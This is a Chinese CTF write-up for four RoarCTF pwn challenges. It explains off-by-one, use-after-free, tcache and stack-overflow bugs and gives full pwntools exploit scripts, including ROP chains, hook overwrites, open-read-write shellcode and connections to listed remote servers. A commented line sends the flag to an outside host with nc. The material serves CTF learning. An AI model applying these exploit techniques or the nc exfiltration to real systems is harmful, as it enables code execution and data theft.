RoarCtf - pwn

easy_pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// off-by-one
__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
__int64 result; // rax




if ( a1 > a2 )
return a2;
if ( a2 - a1 == 10 )
LODWORD(result) = a1 + 1; //off-by-one
else
LODWORD(result) = a1;
return result;

write 函数中只要输入的size 减去原先的 = 10就能多写一个字节,因为堆块的申请是用calloc所以不能直接free一个unsortbin再申请出来的方式漏泄地址;申请三个堆块chunk0,chunk1,chunk2覆写chunk1的size为chunk1.size+chunk2.size,free(1),这样chunk2就被放到unsortbin中去了,再申请chunk1.size大小的堆块就能把main_arena写到chunk2去,再show。接着就malloc_hook填onegadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 0
if local:
p = process('./easy_pwn')
elf = ELF('./easy_pwn')
libc = elf.libc
# nc 39.97.182.233 38020
else:
p = remote("39.97.182.233","38020 ")
elf = ELF('./easy_pwn')
libc = elf.libc
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202048)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def create(size):
ru("choice: ")
sl('1')
ru("size: ")
sl(str(size))




def write(id,size,data):
ru("choice: ")
sl('2')
ru("index: ")
sl(str(id))
ru("size: ")
sl(str(size))
ru("content: ")
sd(data)




def free(id):
ru("choice: ")
sl('3')
ru("index: ")
sl(str(id))




def show(id):
ru("choice: ")
sl('4')
ru("index: ")
sl(str(id))


chunk_addr = 0x555555756048
one = [0x45216,0x4526a,0xf02a4,0xf1147]
create(0x28)#0
create(0x88)#1
create(0x58)#2
create(0x28)#3
write(0,0x28+10,0x28*'a' + '\xf1')
free(1)
create(0x88)#4
show(2)
ru("content: ")
main_arena = u64(rc(6).ljust(8,'\x00'))-88
malloc_hook = main_arena - 0x10
fack_chunk = malloc_hook - 0x23
libc_base = main_arena - 0x3c4b20
free_hook = libc_base + libc.symbols['__free_hook']
realloc_hook = libc_base + libc.symbols['__realloc_hook']
realloc = libc_base + libc.symbols['realloc']
onegadget = libc_base + one[1]
system = libc_base + libc.symbols['system']
log.warn("main_arena --> %s",hex(main_arena))
log.warn("fack_chunk --> %s",hex(fack_chunk))
log.warn("system --> %s",hex(system))
create(0x58)
write(3,0x10,p64(0) + p64(0x21))
write(1,0x88+10,0x88*'a' + '\x71')
free(4)
write(2,0x10,p64(fack_chunk)*2)
create(0x68)#4
create(0x68)#5
write(5,8+0x13,0xb*'a' + p64(onegadget) + p64(realloc))
create(32)
# debug()
p.intera

easy_heap

程序开始会有两个输入,username,inof,都是存放到bss段的

4个功能

1
2
3
4
1、add 通过malloc申请一个堆块放到全局变量buf中去,大小限制为(<0x80),且该变量只能存放一个堆指针
2、dele free调buf中的堆,但是没有清空指针,存在UAF
3、show 打印出buf指针中的内容,但是需要qword_602090 == 0xDEADBEEFDEADBEEFLL才能使用,且使用完 后会将标准输出和错误输出关闭(close(1),close(2))
666、没有出现在菜单的功能,有两个功能,calloc(0xa0,1)并将指针放到全局变量ptr中,以及free(ptr)

思路:

只要能用show,这题基本就算是解决了,那现在要解决的是如何修改qword_602090的值为0xDEADBEEFDEADBEEFLL,我的做法的构造double free

calloc(0xa0,1)free(ptr)这时ptr中就放着top chunk,再mallloc(0x60)两次就能使ptr,buf两个指针放着现个大小相同的堆,接下来就可以实现double free了。将username作为fack chunk申请出来修改qword_602090,之后将malloc_hook填为onegadget即可

但是这里有个坑导致我在赛中没能做出来,就是4个onegadget都用不了,利用realloc调偏移也无济于事。也是在赛后师兄提醒下才知道的,可以连续free一个堆块两次来解发malloc_hook,这样做的好处就是在调用malloc_hook前会先调用malloc_printer,所以会改变堆的结构,再利用realloc调偏移就有更大的可能满足onegadget的条件了。

这里有个问题我没法解释的,希望如果有大佬明白的话还请不吝赐教,如下图:明明在show函数中已经把标准输出及错误输出关闭了,那为什么在getshell后ls能打印出东西呢?

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#coding:utf-8
from pwn import *
context.log_level = 'debug'
local = 1
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
elf = ELF('./easyheap')
libc = elf.libc
p = remote("39.97.182.233",30411)
#p = remote('127.0.0.1',9996)
# elf = ELF('./')

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def init(username,info):
ru("username:")
sl(username)
ru("info:")
sl(info)

def add(size,data,flag=0):
if flag:
sl('1')
sl(str(size))
sl(data)
else:
ru(">> ")
sl('1')
ru("size\n")
sl(str(size))
ru("content\n")
sl(data)

def free():
ru(">> ")
sl('2')

def show():
ru(">> ")
sl('3')

def calloc_or_free(choice,data=''):
ru(">> ")
sl('666')
ru("free?\n")
sl(str(choice))
if choice == 1:
ru("content\n")
sl(data)

def price():
ru(">> ")
sl('666')

main = 0x400940
one = [0x45216,0x4526a,0xf02a4,0xf1147]
# [rax == NULL;[rsp+0x30] == NULL,[rsp+0x50] == NULL,[rsp+0x70] == NULL]
chunk_addr = 0x602088
username_addr = 0x602060
info_addr = 0x6020A0
ptr = 0x602098
username = p64(0) + p64(0x71) + p64(username_addr)
# info = p64(0) + p64(0x71) + p64(username_addr)
init(username,'bbbb')

calloc_or_free(1,'a')
calloc_or_free(2)
add(0x68,'')
add(0x68,'')
calloc_or_free(2)
free()
price()#用来路过0x602010=0的情况
calloc_or_free(2)
add(0x68,p64(username_addr))
add(0x68,'p')
add(0x68,'p')

pay = p64(username_addr)*3 + p64(elf.got['free']) + p64(0xDEADBEEFDEADBEEF)
add(0x68,pay)

# gdb.attach(p,"b *0x400C6F")

show()
free_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = free_addr - libc.symbols['free']
realloc = libc_base + libc.symbols['realloc']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
fack_chunk = malloc_hook - 0x23
open_addr = libc_base + libc.symbols['open']
onegadget = libc_base + 0xf1147
log.warn("free_addr --> %s",hex(free_addr))
log.warn("libc_base --> %s",hex(libc_base))
log.warn("fack_chunk --> %s",hex(fack_chunk))
log.warn("open_addr --> %s",hex(open_addr))
log.warn("onegadget --> %s",hex(onegadget))
pay = p64(fack_chunk)
add(0x68,pay,1)
add(0x68,'a',1)
add(0x68,(0x13-8)*'9' + p64(onegadget) + p64(realloc+0x14),1)
#pause()

sl('2')
sl('2')

sleep(1)
# p.sendline("cat flag | nc 39.108.76.129 2333")
# p.sendline("ls >&0")

p.interactive()

realloc_magic

程序64位保护全开,功能有3个

1
2
3
4
5
6
7
1realloc(size)
2free(realloc_ptr) UAF
666、lock:
if (realloc_ptr != null)
realloc_ptr = 0
且只能用一次,第二次使用就是退出
且只能存放一个堆指针

思路:程序没有show函数,所以要泄露地址应该攻击IO_file,环境是ubuntu18,所以有tcache

因为程序开启了PIE,所以得想办法让tcache链上main_arena而且能够修改fd然后申请出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
realloc(0x78,'a')
realloc(0)
realloc(0x100,'b')
realloc(0)
realloc(0x8,'c') #要加上一个堆隔开top chunk,在realloc(0x180)的时候才能触发合并(至于为什么,菜鸡也没法解释(哭),求各位大佬解答)
realloc(0)
realloc(0x100,'b')
for i in range(7):
free()
realloc(0)
realloc(0x70,'a')
pay = 0x70*'a' + p64(0x21)*2 + '\x60\x07\xdd'
realloc(0x180,pay)
realloc(0)
realloc(0x100,'a')
realloc(0)

直接将_IO_2_1_stdout_申请出来,泄露完地址后修改free_hookonegadget,建议先关闭ASLR做

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
local = 1
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202058)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
def realloc(size,data=''):
ru(">> ")
sl('1')
ru("Size?\n")
sl(str(size))
if data:
ru("Content?\n")
sd(data)

def free():
ru(">> ")
sl('2')

def lock():
ru(">> ")
sl('666')

def pwn():
realloc(0x78,'a')
realloc(0)
realloc(0x100,'b')
realloc(0)
realloc(0x8,'c')
realloc(0)
realloc(0x100,'b')
for i in range(7):
free()
realloc(0)
realloc(0x70,'a')
pay = 0x70*'a' + p64(0x21)*2 + '\x60\x07\xdd'
realloc(0x180,pay)
realloc(0)
realloc(0x100,'a')
realloc(0)

pay = p64(0xfbad1887) + p64(0)*3 + '\x00'
realloc(0x100,pay)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3ed8b0
free_hook = libc_base + libc.symbols['__free_hook']
onegadget = libc_base + 0x4f322
log.warn("libc_base --> %s",hex(libc_base))
log.warn("free_hook --> %s",hex(free_hook))

lock()
pay = 'a'*0x78 + p64(0x31) + p64(free_hook)
realloc(0x180,pay)
realloc(0)
realloc(0x10,'a')
realloc(0)

realloc(0x10,p64(onegadget))
free()
# debug()
p.interactive()
pwn()#关闭aslr
# i = 0
# while 1:
# try:
# i += 1
# log.info(str(i))
# p = process('./pwn')
# pwn()
# except Exception:
# # log.warn("wrong!")
# p.close()

参考题目:https://xz.aliyun.com/t/6259#toc-0

easy_rop

保护:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

没有开canary ,而且程序存在很明显的栈溢出

1
2
3
4
5
6
7
8
9
10
while ( !feof(stdin) )
{
v9 = fgetc(stdin);
if ( v9 == 10 )
break;
v3 = v10++;
v8 = v3;
v7[v3] = v9;
}
v7[v10] = 0;

这里可以无限输入直到遇到’\n’,相当于gets,但是需要注意一下下标,各个变量在栈中的布局是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-0000000000000424 var_424         dd ?
-0000000000000420 v7 db 1032 dup(?)
-0000000000000018 v8 dq ?
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 v9 db ?
-0000000000000008 v10 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)

所以不能直接0x428个垃圾字符填过去,修改下标v10到ret即可

还有一点,程序禁用了execve,所以要用orw来读取flag,用rop实现和写shellcode都行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
pop_rdi = 0x401b93
pop_rsi_r15 = 0x401b91
pop_rdx = 0x1b92
main = 0x4019F3
pay = 0x418*'a' + '\x28'
pay += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
pay += p64(main)
# gdb.attach(p,"b *0x401AB4")
sla(">> ",pay)
ru("path.\n\x00")
puts_addr = u64(rc(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
gets_addr = libc_base + libc.symbols['gets']
mprotect = libc_base + libc.symbols['mprotect']
pop_rdx += libc_base
log.success("puts_addr --> %s",hex(puts_addr))
log.success("libc_base --> %s",hex(libc_base))

pay = 0x418*'a' + '\x28'
pay += p64(pop_rdi) + p64(elf.bss())
pay += p64(gets_addr) #输入shellcode
pay += p64(pop_rdi) + p64(elf.bss()&0xfffffffffffff000)
pay += p64(pop_rsi_r15) + p64(0x1000) + p64(0)
pay += p64(pop_rdx) + p64(7)
pay += p64(mprotect) + p64(elf.bss())
# gdb.attach(p,"b *0x401AB4")
sla(">> ",pay)
shellcode = '''
/*open("flag")*/
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
mov rax,2
syscall

/*read(fp,buf,0x30)*/
mov rdi,rax
mov rsi,rsp
mov rdx,0x30
xor rax,rax
syscall

/*write(1,buf,0x30)*/
mov rdi,1
mov rax,1
syscall
'''
shellcode = asm(shellcode,arch = 'amd64',os = 'linux')

sl(shellcode)
p.interactive()
0%